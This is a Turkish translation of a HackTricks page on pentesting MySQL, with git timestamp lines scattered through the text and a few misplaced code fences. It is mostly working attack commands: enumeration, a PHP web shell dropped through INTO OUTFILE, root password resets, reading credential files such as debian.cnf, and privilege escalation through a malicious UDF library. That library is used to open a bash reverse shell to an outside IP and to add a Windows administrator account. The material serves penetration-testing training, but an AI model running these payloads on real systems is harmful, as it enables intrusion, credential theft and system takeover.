2024-04-07 03:13:19 +00:00
# 3306 - Mysql Pentest
2022-04-28 16:01:33 +00:00
< details >
2024-04-07 03:13:19 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahramana öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2024-02-03 01:15:34 +00:00
2024-04-07 03:13:19 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI**]'na göz atı n (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini keşfedin** ](https://peass.creator-spring.com )
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katı lı n** 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**'da takip edin.**
* **Hacking püf noktaları nı zı paylaşarak PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-07 03:13:19 +00:00
[**RootedCON** ](https://www.rootedcon.com/ ) **İspanya** 'daki en ilgili siber güvenlik etkinliği ve **Avrupa** 'nı n en önemlilerinden biridir. **Teknik bilgiyi teşvik etme misyonuyla** , bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktası dı r.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-04-07 03:13:19 +00:00
## **Temel Bilgiler**
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
**MySQL**, ücretsiz olarak sunulan açı k kaynaklı bir **İlişkisel Veritabanı Yönetim Sistemi (RDBMS)** olarak tanı mlanabilir. **Yapı landı rı lmı ş Sorgu Dili (SQL)** üzerinde çalı şı r ve veritabanları nı n yönetimini ve manipülasyonunu sağlar.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
**Varsayı lan port:** 3306
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
3306/tcp open mysql
```
2024-04-07 03:13:19 +00:00
## **Bağlan**
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
### **Yerel**
2020-07-15 15:43:14 +00:00
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
2024-04-07 03:13:19 +00:00
### Uzaktan
2020-07-15 15:43:14 +00:00
```bash
mysql -h < Hostname > -u root
mysql -h < Hostname > -u root@localhost
```
2024-04-07 03:13:19 +00:00
## Harici Numaralandı rma
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Numaralandı rma işlemlerinin bazı ları geçerli kimlik bilgileri gerektirir.
2020-07-15 15:43:14 +00:00
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 < IP >
msf> use auxiliary/scanner/mysql/mysql_version
2021-03-11 19:59:32 +00:00
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
2020-07-15 15:43:14 +00:00
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
2024-02-10 18:14:16 +00:00
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
2020-07-15 15:43:14 +00:00
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
2024-04-07 03:13:19 +00:00
### [**Kaba kuvvet**](../generic-methodologies-and-resources/brute-force.md#mysql)
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
### Herhangi bir ikili veri yazı n
2020-07-15 15:43:14 +00:00
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
2024-04-07 03:13:19 +00:00
## **MySQL komutları **
2020-07-15 15:43:14 +00:00
```bash
show databases;
use < database > ;
2023-03-22 09:46:34 +00:00
connect < database > ;
2020-07-15 15:43:14 +00:00
show tables;
describe < table_name > ;
2022-10-02 21:10:53 +00:00
show columns from < table > ;
2020-07-15 15:43:14 +00:00
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
2022-05-11 19:00:10 +00:00
#Get a shell with the mysql client user
2020-07-15 15:43:14 +00:00
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="< TABLE NAME > "
#Read & Write
2022-10-03 00:11:21 +00:00
## Yo need FILE privilege to read & write to files.
2020-07-15 15:43:14 +00:00
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?> ",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```
```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
2020-11-04 22:09:50 +00:00
mysql -u root -h 127.0.0.1 -e 'show databases;'
2020-07-15 15:43:14 +00:00
```
2024-04-07 03:13:19 +00:00
### MySQL İzinlerinin Sı ralanması
2022-10-08 17:31:10 +00:00
```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
2022-12-21 22:55:15 +00:00
# Get users, permissions & hashes
SELECT * FROM mysql.user;
2022-10-08 17:31:10 +00:00
#From DB
2024-02-10 18:14:16 +00:00
select * from mysql.user where user='root';
2022-10-08 17:31:10 +00:00
## Get users with file_priv
2022-12-21 19:36:44 +00:00
select user,file_priv from mysql.user where file_priv='Y';
2022-10-08 17:31:10 +00:00
## Get users with Super_priv
2022-12-21 19:36:44 +00:00
select user,Super_priv from mysql.user where Super_priv='Y';
2022-10-08 17:31:10 +00:00
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
2022-12-21 22:55:15 +00:00
#@ Functions not from sys. db
2022-12-23 06:41:52 +00:00
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
2022-10-08 17:31:10 +00:00
```
2024-04-07 03:13:19 +00:00
### MySQL Dosyası Uzaktan Kod Çalı ştı rma (RCE)
2022-10-08 17:31:10 +00:00
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
[mysql-ssrf.md ](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md )
{% endcontent-ref %}
2024-04-07 03:13:19 +00:00
## Müşteri Tarafı ndan MySQL ile Dosya Okuma
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
Aslı nda, bir **tabloya yerel veri yüklemeyi denediğinizde** , MySQL veya MariaDB sunucusu **bir dosyanı n içeriğini okuması nı ** ve içeriği göndermesini istiyor. **Sonra, bir MySQL istemcisini kendi MySQL sunucunuza bağlamayı başarabilirseniz, keyfi dosyaları okuyabilirsiniz.** \
Lütfen bunun şu şekilde davranı ş olduğunu unutmayı n:
2020-07-15 15:43:14 +00:00
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
2024-04-07 03:13:19 +00:00
( "local" kelimesine dikkat edin)\
Çünkü "local" olmadan şunu elde edebilirsiniz:
2020-07-15 15:43:14 +00:00
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
2024-04-07 03:13:19 +00:00
**Başlangı ç PoC:** [**https://github.com/allyshka/Rogue-MySql-Server** ](https://github.com/allyshka/Rogue-MySql-Server )\
**Bu belgede saldı rı nı n tam açı klaması nı ve hatta RCE'ye nası l genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/** ](https://paper.seebug.org/1113/ )\
**Saldı rı nı n genel bir açı klaması nı burada bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/** ](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/ )
2020-07-15 15:43:14 +00:00
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-07 03:13:19 +00:00
[**RootedCON**](https://www.rootedcon.com/) **İspanya** 'daki en ilgili siber güvenlik etkinliği ve **Avrupa** 'nı n en önemlilerinden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktası dı r.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-04-07 03:13:19 +00:00
## POST
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
### Mysql Kullanı cı sı
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
Eğer mysql **root** olarak çalı şı yorsa çok ilginç olacaktı r:
2020-07-15 15:43:14 +00:00
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
2022-05-11 19:00:10 +00:00
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
2020-07-15 15:43:14 +00:00
```
2024-04-07 03:13:19 +00:00
#### Mysqld.cnf Dosyası nı n Tehlikeli Ayarları
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
MySQL hizmetlerinin yapı landı rması nda, işleyişini ve güvenlik önlemlerini tanı mlamak için çeşitli ayarlar kullanı lı r:
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
* **`user`** ayarı , MySQL hizmetinin hangi kullanı cı altı nda yürütüleceğini belirlemek için kullanı lı r.
* **`password`**, MySQL kullanı cı sı ile ilişkilendirilen şifrenin belirlenmesi için kullanı lı r.
* **`admin_address`**, yönetim ağı arabiriminde TCP/IP bağlantı ları için dinleyen IP adresini belirtir.
2024-04-06 19:40:41 +00:00
* **`debug`** değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayı klama yapı landı rmaları nı gösterir.
2024-04-07 03:13:19 +00:00
* **`sql_warnings`**, uyarı lar ortaya çı ktı ğı nda tek satı rlı k INSERT ifadeleri için bilgi dizelerinin oluşturulup oluşturulmayacağı nı yönetir ve hassas verileri günlüklerde içerir.
2024-04-06 19:40:41 +00:00
* **`secure_file_priv`** ile veri içe ve dı şa aktarma işlemlerinin kapsamı sı nı rlanarak güvenlik artı rı lı r.
2024-02-08 21:36:15 +00:00
2024-04-07 03:13:19 +00:00
### Yetki yükseltme
2022-05-11 19:00:10 +00:00
```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
2022-12-21 22:55:15 +00:00
# Get users, permissions & creds
SELECT * FROM mysql.user;
2022-05-11 19:00:10 +00:00
mysql -u root --password=< PASSWORD > -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
2024-04-07 03:13:19 +00:00
### Kütüphane aracı lı ğı yla ayrı calı k yükseltme
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
Eğer **mysql sunucusu root olarak çalı şı yorsa** (veya daha ayrı calı klı bir kullanı cı ) komutları çalı ştı rması nı sağlayabilirsiniz. Bunun için **kullanı cı tanı mlı fonksiyonlar** kullanmanı z gerekmektedir. Ve kullanı cı tanı mlı bir fonksiyon oluşturmak için mysql'in çalı ştı ğı işletim sistemi için bir **kütüphane** 'ye ihtiyacı nı z olacak.
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
Kötü niyetli kütüphaneyi kullanmak için sqlmap içinde ve metasploit içinde ** `locate "*lib_mysqludf_sys*"` ** komutunu kullanarak bulabilirsiniz. ** `.so` ** dosyaları **linux** kütüphaneleridir ve ** `.dll` ** dosyaları **Windows** kütüphaneleridir, ihtiyacı nı z olanı seçin.
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
Eğer bu kütüphanelere **sahip değilseniz** , ya **onları arayı n** , ya da bu [**linux C kodunu** ](https://www.exploit-db.com/exploits/1518 ) indirin ve **linux zafiyetli makine içinde derleyin** :
2022-05-11 19:00:10 +00:00
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
2024-04-07 03:13:19 +00:00
Şimdi kütüphaneye sahip olduğunuza göre, Mysql'e ayrı calı klı bir kullanı cı olarak (root?) giriş yapı n ve aşağı daki adı mları izleyin:
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
#### Linux
2020-07-15 15:43:14 +00:00
```sql
2022-05-11 19:00:10 +00:00
# Use a database
2020-07-15 15:43:14 +00:00
use mysql;
2022-05-11 19:00:10 +00:00
# Create a table to load the library and move it to the plugins dir
2020-07-15 15:43:14 +00:00
create table npn(line blob);
2022-05-11 19:00:10 +00:00
# Load the binary library inside the table
## You might need to change the path and file name
2020-07-15 15:43:14 +00:00
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
2022-05-11 19:00:10 +00:00
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
2020-07-15 15:43:14 +00:00
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
2022-05-11 19:00:10 +00:00
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
2020-07-15 15:43:14 +00:00
```
2024-04-07 03:13:19 +00:00
#### Windows
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
#### Windows
2020-07-15 15:43:14 +00:00
```sql
2022-05-11 19:00:10 +00:00
# CHech the linux comments for more indications
2020-07-15 15:43:14 +00:00
USE mysql;
CREATE TABLE npn(line blob);
2023-03-22 09:46:34 +00:00
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
2022-05-11 19:00:10 +00:00
show variables like '%plugin%';
2020-07-15 15:43:14 +00:00
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
2024-04-07 03:13:19 +00:00
### Dosyaları ndan MySQL kimlik bilgilerini çı karma
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
_/etc/mysql/debian.cnf_ içinde **debian-sys-maint** kullanı cı sı nı n **düz metin şifresini** bulabilirsiniz
2020-07-15 15:43:14 +00:00
```bash
cat /etc/mysql/debian.cnf
```
2024-04-07 03:13:19 +00:00
**Mysql veritabanı na giriş yapmak için bu kimlik bilgilerini kullanabilirsiniz**.
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
Dosya içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanı cı ları nı n tüm hash'lerini bulabilirsiniz** (veritabanı içinde mysql.user'dan çı karabileceğiniz hash'ler)_._
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
Onları çı karabilirsiniz:
2020-07-15 15:43:14 +00:00
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
2024-04-07 03:13:19 +00:00
### Günlüğü etkinleştirme
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
Mysql sorguları nı n günlüğünü etkinleştirebilirsiniz `/etc/mysql/my.cnf` içinde aşağı daki satı rları yorum satı rı ndan çı kararak:
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
![](< .. / . gitbook / assets / image ( 896 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
### Faydalı dosyalar
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Yapı landı rma Dosyaları
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
* windows \*
2024-02-10 18:14:16 +00:00
* config.ini
* my.ini
* windows\my.ini
* winnt\my.ini
* \<InstDir>/mysql/data/
* unix
* my.cnf
* /etc/my.cnf
* /etc/mysql/my.cnf
* /var/lib/mysql/my.cnf
* \~/.my.cnf
* /etc/my.cnf
* Komut Geçmişi
* \~/.mysql.history
* Günlük Dosyaları
* connections.log
* update.log
* common.log
2024-04-07 03:13:19 +00:00
## Varsayı lan MySQL Veritabanı /Tabloları
2020-09-16 22:27:27 +00:00
2024-04-07 03:13:19 +00:00
{% tabs %}
{% tab title="information_schema" %}
2022-05-01 13:25:53 +00:00
ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
2021-10-18 11:21:18 +00:00
COLLATIONS\
2022-05-01 13:25:53 +00:00
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
2021-10-18 11:21:18 +00:00
COLUMNS\
2022-05-01 13:25:53 +00:00
COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
2021-10-18 11:21:18 +00:00
ENGINES\
EVENTS\
FILES\
2022-05-01 13:25:53 +00:00
GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
2021-10-18 11:21:18 +00:00
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
2022-05-01 13:25:53 +00:00
REFERENTIAL\_CONSTRAINTS\
2021-10-18 11:21:18 +00:00
ROUTINES\
SCHEMATA\
2022-05-01 13:25:53 +00:00
SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
2021-10-18 11:21:18 +00:00
STATISTICS\
2022-05-01 13:25:53 +00:00
SYSTEM\_VARIABLES\
2021-10-18 11:21:18 +00:00
TABLES\
TABLESPACES\
2022-05-01 13:25:53 +00:00
TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
2021-10-18 11:21:18 +00:00
TRIGGERS\
2022-05-01 13:25:53 +00:00
USER\_PRIVILEGES\
2021-10-18 11:21:18 +00:00
VIEWS\
2022-05-01 13:25:53 +00:00
INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
2024-04-07 03:13:19 +00:00
{% endtab %}
2020-09-16 22:27:27 +00:00
2024-04-07 03:13:19 +00:00
{% tab title="mysql" %}
2022-05-01 13:25:53 +00:00
columns\_priv\
column\_stats\
2021-10-18 11:21:18 +00:00
db\
2022-05-01 13:25:53 +00:00
engine\_cost\
2021-10-18 11:21:18 +00:00
event\
func\
2022-05-01 13:25:53 +00:00
general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
2021-10-18 11:21:18 +00:00
host\
2022-05-01 13:25:53 +00:00
index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
2021-10-18 11:21:18 +00:00
plugin\
proc\
2022-05-01 13:25:53 +00:00
procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
2021-10-18 11:21:18 +00:00
servers\
2022-05-01 13:25:53 +00:00
slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
2020-09-16 22:27:27 +00:00
user
2024-04-07 03:13:19 +00:00
{% endtab %}
2020-09-16 22:27:27 +00:00
2024-04-07 03:13:19 +00:00
{% tab title="performance_schema" %}
2021-10-18 11:21:18 +00:00
accounts\
2022-05-01 13:25:53 +00:00
cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
events\_statements\_summary\_by\_program\
events\_statements\_summary\_by\_thread\_by\_event\_name\
events\_statements\_summary\_by\_user\_by\_event\_name\
events\_statements\_summary\_global\_by\_event\_name\
events\_transactions\_current\
events\_transactions\_history\
events\_transactions\_history\_long\
events\_transactions\_summary\_by\_account\_by\_event\_name\
events\_transactions\_summary\_by\_host\_by\_event\_name\
events\_transactions\_summary\_by\_thread\_by\_event\_name\
events\_transactions\_summary\_by\_user\_by\_event\_name\
events\_transactions\_summary\_global\_by\_event\_name\
events\_waits\_current\
events\_waits\_history\
events\_waits\_history\_long\
events\_waits\_summary\_by\_account\_by\_event\_name\
events\_waits\_summary\_by\_host\_by\_event\_name\
events\_waits\_summary\_by\_instance\
events\_waits\_summary\_by\_thread\_by\_event\_name\
events\_waits\_summary\_by\_user\_by\_event\_name\
events\_waits\_summary\_global\_by\_event\_name\
file\_instances\
file\_summary\_by\_event\_name\
file\_summary\_by\_instance\
global\_status\
global\_variables\
host\_cache\
2021-10-18 11:21:18 +00:00
hosts\
2022-05-01 13:25:53 +00:00
memory\_summary\_by\_account\_by\_event\_name\
memory\_summary\_by\_host\_by\_event\_name\
memory\_summary\_by\_thread\_by\_event\_name\
memory\_summary\_by\_user\_by\_event\_name\
memory\_summary\_global\_by\_event\_name\
metadata\_locks\
mutex\_instances\
objects\_summary\_global\_by\_type\
performance\_timers\
prepared\_statements\_instances\
replication\_applier\_configuration\
replication\_applier\_status\
replication\_applier\_status\_by\_coordinator\
replication\_applier\_status\_by\_worker\
replication\_connection\_configuration\
replication\_connection\_status\
replication\_group\_member\_stats\
replication\_group\_members\
rwlock\_instances\
session\_account\_connect\_attrs\
session\_connect\_attrs\
session\_status\
session\_variables\
setup\_actors\
setup\_consumers\
setup\_instruments\
setup\_objects\
setup\_timers\
socket\_instances\
socket\_summary\_by\_event\_name\
socket\_summary\_by\_instance\
status\_by\_account\
status\_by\_host\
status\_by\_thread\
status\_by\_user\
table\_handles\
table\_io\_waits\_summary\_by\_index\_usage\
table\_io\_waits\_summary\_by\_table\
table\_lock\_waits\_summary\_by\_table\
2021-10-18 11:21:18 +00:00
threads\
2022-05-01 13:25:53 +00:00
user\_variables\_by\_thread\
2021-10-18 11:21:18 +00:00
users\
2022-05-01 13:25:53 +00:00
variables\_by\_thread
2024-04-07 03:13:19 +00:00
{% endtab %}
2020-09-16 22:27:27 +00:00
2024-04-07 03:13:19 +00:00
{% tab title="sys" %}
2022-05-01 13:25:53 +00:00
host\_summary\
host\_summary\_by\_file\_io\
host\_summary\_by\_file\_io\_type\
host\_summary\_by\_stages\
host\_summary\_by\_statement\_latency\
host\_summary\_by\_statement\_type\
innodb\_buffer\_stats\_by\_schema\
innodb\_buffer\_stats\_by\_table\
innodb\_lock\_waits\
io\_by\_thread\_by\_latency\
io\_global\_by\_file\_by\_bytes\
io\_global\_by\_file\_by\_latency\
io\_global\_by\_wait\_by\_bytes\
2024-04-07 03:13:19 +00:00
io\_global\_by\_wait\_by\_latency\
latest\_file\_io\
memory\_by\_host\_by\_current\_bytes\
memory\_by\_thread\_by\_current\_bytes\
memory\_by\_user\_by\_current\_bytes\
memory\_global\_by\_current\_bytes\
memory\_global\_total\
metrics\
processlist\
ps\_check\_lost\_instrumentation\
schema\_auto\_increment\_columns\
schema\_index\_statistics\
schema\_object\_overview\
schema\_redundant\_indexes\
schema\_table\_lock\_waits\
```markdown
schema_table_statistics\
schema_table_statistics_with_buffer\
schema_tables_with_full_table_scans\
schema_unused_indexes\
session\
session_ssl_status\
statement_analysis\
statements_with_errors_or_warnings\
statements_with_full_table_scans\
statements_with_runtimes_in_95th_percentile\
statements_with_sorting\
statements_with_temp_tables\
sys_config\
user_summary\
user_summary_by_file_io\
user_summary_by_file_io_type\
user_summary_by_stages\
user_summary_by_statement_latency\
user_summary_by_statement_type\
version\
wait_classes_global_by_avg_latency\
wait_classes_global_by_latency\
waits_by_host_by_latency\
waits_by_user_by_latency\
waits_global_by_latency\
x$host_summary\
x$host_summary_by_file_io\
x$host_summary_by_file_io_type\
x$host_summary_by_stages\
x$host_summary_by_statement_latency\
x$host_summary_by_statement_type\
x$innodb_buffer_stats_by_schema\
x$innodb_buffer_stats_by_table\
x$innodb_lock_waits\
x$io_by_thread_by_latency\
x$io_global_by_file_by_bytes\
x$io_global_by_file_by_latency\
x$io_global_by_wait_by_bytes\
x$io_global_by_wait_by_latency\
x$latest_file_io\
x$memory_by_host_by_current_bytes\
x$memory_by_thread_by_current_bytes\
x$memory_by_user_by_current_bytes\
x$memory_global_by_current_bytes\
x$memory_global_total\
x$processlist\
x$ps_digest_95th_percentile_by_avg_us\
x$ps_digest_avg_latency_distribution\
x$ps_schema_table_statistics_io\
x$schema_flattened_keys\
x$schema_index_statistics\
x$schema_table_lock_waits\
x$schema_table_statistics\
x$schema_table_statistics_with_buffer\
x$schema_tables_with_full_table_scans\
x$session\
x$statement_analysis\
x$statements_with_errors_or_warnings\
x$statements_with_full_table_scans\
x$statements_with_runtimes_in_95th_percentile\
x$statements_with_sorting\
x$statements_with_temp_tables\
x$user_summary\
x$user_summary_by_file_io\
x$user_summary_by_file_io_type\
x$user_summary_by_stages\
x$user_summary_by_statement_latency\
x$user_summary_by_statement_type\
x$wait_classes_global_by_avg_latency\
x$wait_classes_global_by_latency\
x$waits_by_host_by_latency\
x$waits_by_user_by_latency\
x$waits_global_by_latency
{% endtab %}
{% endtabs %}
## HackTricks Otomatik Komutları
```
2021-10-18 11:21:18 +00:00
```
2021-08-12 13:10:06 +00:00
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
2021-08-15 17:37:03 +00:00
Entry_1:
2024-02-10 18:14:16 +00:00
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
2021-08-15 17:37:03 +00:00
2024-02-10 18:14:16 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-mysql
2021-08-15 17:37:03 +00:00
Entry_2:
2024-02-10 18:14:16 +00:00
Name: Nmap
Description: Nmap with MySql Scripts
